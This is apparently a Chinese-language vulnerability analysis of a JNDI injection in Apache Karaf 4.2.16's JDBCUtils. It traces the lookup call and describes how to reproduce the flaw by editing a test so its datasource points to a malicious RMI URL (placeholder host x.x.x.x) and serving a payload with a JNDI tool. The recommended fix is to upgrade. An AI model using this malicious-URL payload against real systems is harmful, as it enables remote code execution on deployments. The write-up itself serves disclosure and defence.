專案地址
https://github。com/apache/karaf/
專案介紹
Apache Karaf是一個模組化執行時,支援多種框架和程式設計模型(REST/API、web、spring boot 等)。它提供了統包功能,您可以毫不費力地直接利用這些功能,打包為可變或不可變的應用程式。
專案版本
4。2。16
漏洞分析
該專案重寫 JDBCUtils 作為連線資料庫功能;在 jaas。modules。src。main。java。porg。apache。karaf。jass。modules。jdbc。JDBCUtils 使用了 jndi 協議測試連結是否正常訪問,但是在 doCreateDatasource 函式中呼叫了 ic。lookup(jndiName) 來初始化查詢資料庫
lookup存在兩個過載
看一下 lookup 的呼叫方法,傳進 InitialContext#getURLOrDefaultInitCtx
lookup 拿到 name ,getURLScheme匹配 :和 /;之後獲取連結內容,getURLContext 解釋包含樣例
For example, if the scheme id is “ldap”, and the Context。 URL_PKG_PREFIXES property contains “com。widget:com。wiz。 jndi”, the naming manager would attempt to load the following classes until one is successfully instantiated:
· com。widget。ldap。ldapURLContextFactory
· com。wiz。jndi。ldap。ldapURLContextFactory
· com。sun。jndi。url。ldap。ldapURLContextFactory
而我們可以控制 lookup 函式的引數,使客戶端訪問提前設定好的惡意的 RMI 服務連結來載入惡意的物件class 位元組碼檔案來例項化,從而執行程式碼,完成利用。
該類並不存在任何黑/白名單對使用者傳入進行過濾,使用者可直接傳入rmi 惡意連結執行命令。確定該處存在 jndi注入,可被利用導致命令執行
漏洞復現
該專案無web介面,利用方式可使用官方提供的Test類進行測試。 測試類為 JdbcLoginModuleTest
該專案測試類並沒有測試 jndi 協議,而是測試 osgi 協議。為了復現我們需要更改為 jndi 協議。程式碼如下所示
options = new HashMap<>();// options。put(JDBCUtils。DATASOURCE, “osgi:” + DataSource。class。getName());options。put(JDBCUtils。DATASOURCE, “jndi:rmi://x。x。x。x:23456/Command8”);options。put(BundleContext。class。getName(), context);
因為是jndi注入,需要配置注入payload及工具,以 JNDI-1。0-all。jar 為例,無需配置相關選項,僅使用預設 config。properties 即可彈出計算器
修復方式
升級到最新版本